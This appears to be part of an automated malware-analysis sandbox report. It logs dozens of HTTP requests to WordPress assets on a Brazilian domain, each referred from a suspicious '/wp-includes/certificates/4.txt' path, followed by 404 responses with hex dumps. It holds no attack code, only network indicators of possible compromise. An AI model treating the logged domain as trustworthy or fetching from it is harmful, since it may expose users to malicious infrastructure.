Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:53:17 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:53:21 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:53:21 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22
